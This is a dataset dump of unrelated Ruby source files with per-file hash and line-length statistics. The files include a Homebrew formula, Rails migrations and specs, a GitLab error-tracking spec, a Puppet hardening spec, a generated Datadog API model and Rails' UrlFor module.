e98e9456a2873646a67fe440bc4b9c2a565f10a0 | 1,108 | class Ddgr < Formula
include Language::Python::Shebang
desc "DuckDuckGo from the terminal"
homepage "https://github.com/jarun/ddgr"
url "https://github.com/jarun/ddgr/archive/v1.8.1.tar.gz"
sha256 "d223a3543866e44e4fb05df487bd3eb23d80debc95f116493ed5aad0d091149e"
license "GPL-3.0"
bottle do
cellar :any_skip_relocation
sha256 "ba751df7de76dd4c286e8502cf5e46f406f1e6b1467689f98158bc92f7df42b2" => :catalina
sha256 "ba751df7de76dd4c286e8502cf5e46f406f1e6b1467689f98158bc92f7df42b2" => :mojave
sha256 "ba751df7de76dd4c286e8502cf5e46f406f1e6b1467689f98158bc92f7df42b2" => :high_sierra
end
depends_on "[email protected]"
def install
rewrite_shebang detected_python_shebang, "ddgr"
system "make", "install", "PREFIX=#{prefix}"
bash_completion.install "auto-completion/bash/ddgr-completion.bash"
fish_completion.install "auto-completion/fish/ddgr.fish"
zsh_completion.install "auto-completion/zsh/_ddgr"
end
test do
ENV["PYTHONIOENCODING"] = "utf-8"
assert_match "q:Homebrew", shell_output("#{bin}/ddgr --debug --noprompt Homebrew 2>&1")
end
end
| 34.625 | 93 | 0.765343 |
6a0e131fd01bb738ab191e7d09401e6d5a575a72 | 199 | class CreateUsers < ActiveRecord::Migration
def change
create_table :users do |t|
t.string :name
t.string :email
t.string :password_hash
t.timestamps
end
end
end
| 16.583333 | 43 | 0.648241 |
e82625a413b0f7067ae1b8ba48c3e7f54c8dccf3 | 137 | require 'rails_helper'
RSpec.describe Spree::BonusVoucher, type: :model do
pending "add some examples to (or delete) #{__FILE__}"
end
| 22.833333 | 56 | 0.751825 |
bbdb0b701d84496132a03aa3e4561689e8cdf25b | 537 | require 'rails_helper'
RSpec.describe "ledger_accounts/new", type: :view do
before(:each) do
assign(:ledger_account, LedgerAccount.new(
:ledger_id => 1,
:account_id => 1
))
end
it "renders new ledger_account form" do
render
assert_select "form[action=?][method=?]", ledger_accounts_path, "post" do
assert_select "input#ledger_account_ledger_id[name=?]", "ledger_account[ledger_id]"
assert_select "input#ledger_account_account_id[name=?]", "ledger_account[account_id]"
end
end
end
| 24.409091 | 91 | 0.696462 |
1c10e89166bd020048909b698d2a2e798e0bf1bc | 713 | require_relative "boot"
require "rails/all"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module HistoricalOracle
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 6.1
# Configuration for the application, engines, and railties goes here.
#
# These settings can be overridden in specific environments using the files
# in config/environments, which are processed later.
#
# config.time_zone = "Central Time (US & Canada)"
# config.eager_load_paths << Rails.root.join("extras")
end
end
| 31 | 79 | 0.740533 |
ac4a0d298bb3316bf63f61cab26d9ef05a5ca628 | 557 | # frozen_string_literal: true
class Slow < SitePrism::Page
set_url '/slow.htm'
set_url_matcher(/slow\.htm$/)
element :last_link, 'a', text: 'slow link4'
element :invisible, 'input.always_invisible'
elements :even_links, '.even'
element :undefined, '.not_here'
section :first_section, Blank, '.slow-section', text: 'First Section'
sections :all_sections, Blank, '.slow-section'
# To test slow elements inside a section
section :body, 'body' do
elements :all_links, '[href="slow.htm"]'
element :undefined, '.not_here'
end
end
| 27.85 | 71 | 0.701975 |
08718bc92a1ed331cef27af9b93b336b8da7c641 | 5,391 | # frozen_string_literal: true
require 'spec_helper'
describe Gitlab::ErrorTracking do
let(:exception) { RuntimeError.new('boom') }
let(:issue_url) { 'http://gitlab.com/gitlab-org/gitlab-foss/issues/1' }
let(:expected_payload_includes) do
[
{ 'exception.class' => 'RuntimeError' },
{ 'exception.message' => 'boom' },
{ 'tags.correlation_id' => 'cid' },
{ 'extra.some_other_info' => 'info' },
{ 'extra.issue_url' => 'http://gitlab.com/gitlab-org/gitlab-foss/issues/1' }
]
end
before do
stub_sentry_settings
allow(described_class).to receive(:sentry_dsn).and_return(Gitlab.config.sentry.dsn)
allow(Labkit::Correlation::CorrelationId).to receive(:current_id).and_return('cid')
described_class.configure
end
describe '.with_context' do
it 'adds the expected tags' do
described_class.with_context {}
expect(Raven.tags_context[:locale].to_s).to eq(I18n.locale.to_s)
expect(Raven.tags_context[Labkit::Correlation::CorrelationId::LOG_KEY.to_sym].to_s)
.to eq('cid')
end
end
describe '.track_and_raise_for_dev_exception' do
context 'when exceptions for dev should be raised' do
before do
expect(described_class).to receive(:should_raise_for_dev?).and_return(true)
end
it 'raises the exception' do
expect(Raven).to receive(:capture_exception)
expect { described_class.track_and_raise_for_dev_exception(exception) }
.to raise_error(RuntimeError)
end
end
context 'when exceptions for dev should not be raised' do
before do
expect(described_class).to receive(:should_raise_for_dev?).and_return(false)
end
it 'logs the exception with all attributes passed' do
expected_extras = {
some_other_info: 'info',
issue_url: 'http://gitlab.com/gitlab-org/gitlab-foss/issues/1'
}
expected_tags = {
correlation_id: 'cid'
}
expect(Raven).to receive(:capture_exception)
.with(exception,
tags: a_hash_including(expected_tags),
extra: a_hash_including(expected_extras))
described_class.track_and_raise_for_dev_exception(
exception,
issue_url: issue_url,
some_other_info: 'info'
)
end
it 'calls Gitlab::ErrorTracking::Logger.error with formatted payload' do
expect(Gitlab::ErrorTracking::Logger).to receive(:error)
.with(a_hash_including(*expected_payload_includes))
described_class.track_and_raise_for_dev_exception(
exception,
issue_url: issue_url,
some_other_info: 'info'
)
end
end
end
describe '.track_and_raise_exception' do
it 'always raises the exception' do
expect(Raven).to receive(:capture_exception)
expect { described_class.track_and_raise_exception(exception) }
.to raise_error(RuntimeError)
end
it 'calls Gitlab::ErrorTracking::Logger.error with formatted payload' do
expect(Gitlab::ErrorTracking::Logger).to receive(:error)
.with(a_hash_including(*expected_payload_includes))
expect do
described_class.track_and_raise_exception(
exception,
issue_url: issue_url,
some_other_info: 'info'
)
end.to raise_error(RuntimeError)
end
end
describe '.track_exception' do
it 'calls Raven.capture_exception' do
expected_extras = {
some_other_info: 'info',
issue_url: issue_url
}
expected_tags = {
correlation_id: 'cid'
}
expect(Raven).to receive(:capture_exception)
.with(exception,
tags: a_hash_including(expected_tags),
extra: a_hash_including(expected_extras))
described_class.track_exception(
exception,
issue_url: issue_url,
some_other_info: 'info'
)
end
it 'calls Gitlab::ErrorTracking::Logger.error with formatted payload' do
expect(Gitlab::ErrorTracking::Logger).to receive(:error)
.with(a_hash_including(*expected_payload_includes))
described_class.track_exception(
exception,
issue_url: issue_url,
some_other_info: 'info'
)
end
context 'the exception implements :sentry_extra_data' do
let(:extra_info) { { event: 'explosion', size: :massive } }
let(:exception) { double(message: 'bang!', sentry_extra_data: extra_info, backtrace: caller) }
it 'includes the extra data from the exception in the tracking information' do
expect(Raven).to receive(:capture_exception)
.with(exception, a_hash_including(extra: a_hash_including(extra_info)))
described_class.track_exception(exception)
end
end
context 'the exception implements :sentry_extra_data, which returns nil' do
let(:exception) { double(message: 'bang!', sentry_extra_data: nil, backtrace: caller) }
it 'just includes the other extra info' do
extra_info = { issue_url: issue_url }
expect(Raven).to receive(:capture_exception)
.with(exception, a_hash_including(extra: a_hash_including(extra_info)))
described_class.track_exception(exception, extra_info)
end
end
end
end
| 31.16185 | 100 | 0.653126 |
d5767e5426be41c673dc6fad54dda05dda621d19 | 1,103 | require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper')
module WhosGotDirt::Requests::Entity
RSpec.describe LittleSis do
describe '#to_s' do
it 'should return the URL to request' do
expect(LittleSis.new(name: 'ACME Inc.').to_s).to eq('https://api.littlesis.org/entities.xml?q=ACME+Inc.')
end
end
describe '#convert' do
context 'when given a name' do
include_examples 'match', 'q', 'name', ['ACME Inc.', 'Inc. ACME']
end
context 'when given a classification' do
include_examples 'one_of', 'type_ids', 'classification', [1, 2], ','
end
context 'when given a limit' do
include_examples 'equal', 'num', 'limit', 5
end
context 'when given a page' do
include_examples 'equal', 'page', 'page', 2
end
context 'when given an API key' do
include_examples 'equal', '_key', 'little_sis_api_key', 123
end
context 'when given a "search all" flag' do
include_examples 'equal', 'search_all', 'search_all', 1, valid: [1]
end
end
end
end
| 29.026316 | 113 | 0.615594 |
ed0cf7b6e3bd5f23ae5188f2076cb0f526e9ed63 | 7,289 | =begin
#Datadog API V2 Collection
#Collection of all Datadog Public endpoints.
The version of the OpenAPI document: 1.0
Contact: [email protected]
Generated by: https://openapi-generator.tech
Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License.
This product includes software developed at Datadog (https://www.datadoghq.com/).
Copyright 2020-Present Datadog, Inc.
=end
require 'date'
require 'time'
module DatadogAPIClient::V2
# Global query options that are used during the query. Note: You should only supply timezone or time offset but not both otherwise the query will fail.
class LogsQueryOptions
# The time offset (in seconds) to apply to the query.
attr_accessor :time_offset
# The timezone can be specified both as an offset, for example: \"UTC+03:00\".
attr_accessor :timezone
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'time_offset' => :'timeOffset',
:'timezone' => :'timezone'
}
end
# Returns all the JSON keys this model knows about
def self.acceptable_attributes
attribute_map.values
end
# Attribute type mapping.
def self.openapi_types
{
:'time_offset' => :'Integer',
:'timezone' => :'String'
}
end
# List of attributes with nullable: true
def self.openapi_nullable
Set.new([
])
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `DatadogAPIClient::V2::LogsQueryOptions` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `DatadogAPIClient::V2::LogsQueryOptions`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'time_offset')
self.time_offset = attributes[:'time_offset']
end
if attributes.key?(:'timezone')
self.timezone = attributes[:'timezone']
else
self.timezone = 'UTC'
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
time_offset == o.time_offset &&
timezone == o.timezone
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
def hash
[time_offset, timezone].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def self.build_from_hash(attributes)
new.build_from_hash(attributes)
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)
self.send("#{key}=", nil)
elsif type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :Time
Time.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
# models (e.g. Pet) or oneOf
klass = DatadogAPIClient::V2.const_get(type)
klass.respond_to?(:openapi_one_of) ? klass.build(value) : klass.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
if value.nil?
is_nullable = self.class.openapi_nullable.include?(attr)
next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}"))
end
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 30.885593 | 216 | 0.633557 |
5de966135e30ca2190fdfd68630509c76f072853 | 1,440 | require 'spec_helper'
enforce_options = [true, false]
describe 'security_baseline::rules::debian::sec_service_time' do
enforce_options.each do |enforce|
context "on Debian with enforce = #{enforce}" do
let(:facts) do
{
osfamily: 'Debian',
operatingsystem: 'Ubuntu',
architecture: 'x86_64',
security_baseline: {
inetd_services: {
srv_time: {
status: true,
filename: '/etc/xinetd.d/time',
},
},
},
}
end
let(:params) do
{
'enforce' => enforce,
'message' => 'service time',
'log_level' => 'warning',
}
end
it { is_expected.to compile }
it do
if enforce
is_expected.to contain_file_line('time_disable')
.with(
'line' => 'disable = yes',
'path' => '/etc/xinetd.d/time',
'match' => 'disable.*=',
'multiple' => true,
)
is_expected.not_to contain_echo('time-inetd')
else
is_expected.not_to contain_service('time_disable')
is_expected.to contain_echo('time-inetd')
.with(
'message' => 'service time',
'loglevel' => 'warning',
'withpath' => false,
)
end
end
end
end
end
| 25.714286 | 64 | 0.472222 |
2649530a0845af93a424031d388c4982c055256c | 141 | json.extract! @atractivo, :id, :name, :description, :parr_id, :cant_id, :prov_id, :subtipo_id, :tipo_id, :categ_id, :created_at, :updated_at
| 70.5 | 140 | 0.730496 |
1c0d60f3b42fa05d251902bdb8fa91be91b6ac11 | 2,099 | module AllGather
state do
table :loc_sender
table :loc_ips_reduce
table :loc_ip_main
table :loc_data_reduce
table :loc_each_len
table :loc_total_senders
table :loc_idx
scratch :sink
table :ips_len
interface input, :data_reduce
interface input, :sender
interface input, :ips_reduce
interface input, :ip_main
interface input, :each_len
interface input, :total_senders
interface input, :idx
interface output, :received_reduce
table :received_buffer
channel :message_func_reduce, [:@addr, :id, :idx] => [:val]
scratch :broadcast_result_self, [:id] => [:val]
channel :broadcast_result, [:@addr, :id] => [:val]
periodic :timer, 10
end
bloom do
loc_sender <= sender
loc_ips_reduce <= ips_reduce
loc_ip_main <= ip_main
loc_data_reduce <= data_reduce
loc_each_len <= each_len
loc_total_senders <= total_senders
loc_idx <= idx
received_buffer <= (loc_each_len * loc_total_senders).pairs {|e, t| [e.key, [Array.new(e.val, 0), 0]]}
message_func_reduce <~ (loc_ip_main * loc_each_len * loc_data_reduce * loc_sender * loc_idx * timer).combos {|i, l, d, s, idx, t| [i.val, d.key, idx.key, d.val] if (s.key > 0 and l.key == d.key) }
sink <+ (received_buffer * message_func_reduce * loc_each_len * loc_total_senders).combos {|r, m, l, s| [r.key, 1] if l.key == m.id and r.key == l.key and modify_val(r.val, m.idx, l.val, m.val, s.key) }
broadcast_result <~ (received_buffer * loc_total_senders * sink * loc_ips_reduce).pairs { |r, t, s, i| [i.val, r.key, r.val[0]] }
received_reduce <= broadcast_result {|b| [b.id, b.val]}
end
def modify_val(arr, idx, l, arr_to_add, senders)
arr[0] = [arr[0], arr_to_add].transpose.map {|x| x.reduce(:+)}
arr[1] += 1
if (arr[1] == senders)
arr[1] += 1 # prevent issues
return true
end
return false
end
def val_done(arr)
arr[1] += 1
return true
end
def set_range(arr, idx, l, arr_to_add)
arr[(idx*l)..((idx+1)*l-1)] = arr_to_add
return arr
end
end | 32.292308 | 208 | 0.640305 |
f8b9f64399bddc4faab3ccbbb4f02caaca789b43 | 9,570 | module ActionDispatch
module Routing
# In <tt>config/routes.rb</tt> you define URL-to-controller mappings, but the reverse
# is also possible: a URL can be generated from one of your routing definitions.
# URL generation functionality is centralized in this module.
#
# See ActionDispatch::Routing for general information about routing and routes.rb.
#
# <b>Tip:</b> If you need to generate URLs from your models or some other place,
# then ActionController::UrlFor is what you're looking for. Read on for
# an introduction. In general, this module should not be included on its own,
# as it is usually included by url_helpers (as in Rails.application.routes.url_helpers).
#
# == URL generation from parameters
#
# As you may know, some functions, such as ActionController::Base#url_for
# and ActionView::Helpers::UrlHelper#link_to, can generate URLs given a set
# of parameters. For example, you've probably had the chance to write code
# like this in one of your views:
#
# <%= link_to('Click here', controller: 'users',
# action: 'new', message: 'Welcome!') %>
# # => <a href="/users/new?message=Welcome%21">Click here</a>
#
# link_to, and all other functions that require URL generation functionality,
# actually use ActionController::UrlFor under the hood. And in particular,
# they use the ActionController::UrlFor#url_for method. One can generate
# the same path as the above example by using the following code:
#
# include UrlFor
# url_for(controller: 'users',
# action: 'new',
# message: 'Welcome!',
# only_path: true)
# # => "/users/new?message=Welcome%21"
#
# Notice the <tt>only_path: true</tt> part. This is because UrlFor has no
# information about the website hostname that your Rails app is serving. So if you
# want to include the hostname as well, then you must also pass the <tt>:host</tt>
# argument:
#
# include UrlFor
# url_for(controller: 'users',
# action: 'new',
# message: 'Welcome!',
# host: 'www.example.com')
# # => "http://www.example.com/users/new?message=Welcome%21"
#
# By default, all controllers and views have access to a special version of url_for,
# that already knows what the current hostname is. So if you use url_for in your
# controllers or your views, then you don't need to explicitly pass the <tt>:host</tt>
# argument.
#
# For convenience reasons, mailers provide a shortcut for ActionController::UrlFor#url_for.
# So within mailers, you only have to type +url_for+ instead of 'ActionController::UrlFor#url_for'
# in full. However, mailers don't have hostname information, and you still have to provide
# the +:host+ argument or set the default host that will be used in all mailers using the
# configuration option +config.action_mailer.default_url_options+. For more information on
# url_for in mailers read the ActionMailer#Base documentation.
#
#
# == URL generation for named routes
#
# UrlFor also allows one to access methods that have been auto-generated from
# named routes. For example, suppose that you have a 'users' resource in your
# <tt>config/routes.rb</tt>:
#
# resources :users
#
# This generates, among other things, the method <tt>users_path</tt>. By default,
# this method is accessible from your controllers, views and mailers. If you need
# to access this auto-generated method from other places (such as a model), then
# you can do that by including Rails.application.routes.url_helpers in your class:
#
# class User < ActiveRecord::Base
# include Rails.application.routes.url_helpers
#
# def base_uri
# user_path(self)
# end
# end
#
# User.find(1).base_uri # => "/users/1"
#
module UrlFor
extend ActiveSupport::Concern
include PolymorphicRoutes
included do
unless method_defined?(:default_url_options)
# Including in a class uses an inheritable hash. Modules get a plain hash.
if respond_to?(:class_attribute)
class_attribute :default_url_options
else
mattr_writer :default_url_options
end
self.default_url_options = {}
end
include(*_url_for_modules) if respond_to?(:_url_for_modules)
end
def initialize(*)
@_routes = nil
super
end
# Hook overridden in controller to add request information
# with `default_url_options`. Application logic should not
# go into url_options.
def url_options
default_url_options
end
# Generate a url based on the options provided, default_url_options and the
# routes defined in routes.rb. The following options are supported:
#
# * <tt>:only_path</tt> - If true, the relative url is returned. Defaults to +false+.
# * <tt>:protocol</tt> - The protocol to connect to. Defaults to 'http'.
# * <tt>:host</tt> - Specifies the host the link should be targeted at.
# If <tt>:only_path</tt> is false, this option must be
# provided either explicitly, or via +default_url_options+.
# * <tt>:subdomain</tt> - Specifies the subdomain of the link, using the +tld_length+
# to split the subdomain from the host.
# If false, removes all subdomains from the host part of the link.
# * <tt>:domain</tt> - Specifies the domain of the link, using the +tld_length+
# to split the domain from the host.
# * <tt>:tld_length</tt> - Number of labels the TLD id composed of, only used if
# <tt>:subdomain</tt> or <tt>:domain</tt> are supplied. Defaults to
# <tt>ActionDispatch::Http::URL.tld_length</tt>, which in turn defaults to 1.
# * <tt>:port</tt> - Optionally specify the port to connect to.
# * <tt>:anchor</tt> - An anchor name to be appended to the path.
# * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2009/"
# * <tt>:script_name</tt> - Specifies application path relative to domain root. If provided, prepends application path.
#
# Any other key (<tt>:controller</tt>, <tt>:action</tt>, etc.) given to
# +url_for+ is forwarded to the Routes module.
#
# url_for controller: 'tasks', action: 'testing', host: 'somehost.org', port: '8080'
# # => 'http://somehost.org:8080/tasks/testing'
# url_for controller: 'tasks', action: 'testing', host: 'somehost.org', anchor: 'ok', only_path: true
# # => '/tasks/testing#ok'
# url_for controller: 'tasks', action: 'testing', trailing_slash: true
# # => 'http://somehost.org/tasks/testing/'
# url_for controller: 'tasks', action: 'testing', host: 'somehost.org', number: '33'
# # => 'http://somehost.org/tasks/testing?number=33'
# url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp"
# # => 'http://somehost.org/myapp/tasks/testing'
# url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp", only_path: true
# # => '/myapp/tasks/testing'
#
# Missing routes keys may be filled in from the current request's parameters
# (e.g. +:controller+, +:action+, +:id+ and any other parameters that are
# placed in the path). Given that the current action has been reached
# through `GET /users/1`:
#
# url_for(only_path: true) # => '/users/1'
# url_for(only_path: true, action: 'edit') # => '/users/1/edit'
# url_for(only_path: true, action: 'edit', id: 2) # => '/users/2/edit'
#
# Notice that no +:id+ parameter was provided to the first +url_for+ call
# and the helper used the one from the route's path. Any path parameter
# implicitly used by +url_for+ can always be overwritten like shown on the
# last +url_for+ calls.
def url_for(options = nil)
full_url_for(options)
end
def full_url_for(options = nil) # :nodoc:
case options
when nil
_routes.url_for(url_options.symbolize_keys)
when Hash, ActionController::Parameters
route_name = options.delete :use_route
merged_url_options = options.to_h.symbolize_keys.reverse_merge!(url_options)
_routes.url_for(merged_url_options, route_name)
when String
options
when Symbol
HelperMethodBuilder.url.handle_string_call self, options
when Array
components = options.dup
polymorphic_url(components, components.extract_options!)
when Class
HelperMethodBuilder.url.handle_class_call self, options
else
HelperMethodBuilder.url.handle_model_call self, options
end
end
def route_for(name, *args) # :nodoc:
public_send(:"#{name}_url", *args)
end
protected
def optimize_routes_generation?
_routes.optimize_routes_generation? && default_url_options.empty?
end
private
def _with_routes(routes) # :doc:
old_routes, @_routes = @_routes, routes
yield
ensure
@_routes = old_routes
end
def _routes_context # :doc:
self
end
end
end
end
| 44.101382 | 125 | 0.638662 |
3910dce71cfbdc837b6a55ee7257279c673095c2 | 448 | require 'rails_helper'
# Specs in this file have access to a helper object that includes
# the LedgerTypesHelper. For example:
#
# describe LedgerTypesHelper do
# describe "string concat" do
# it "concats two strings with spaces" do
# expect(helper.concat_strings("this","that")).to eq("this that")
# end
# end
# end
RSpec.describe LedgerTypesHelper, type: :helper do
pending "add some examples to (or delete) #{__FILE__}"
end
| 28 | 71 | 0.716518 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.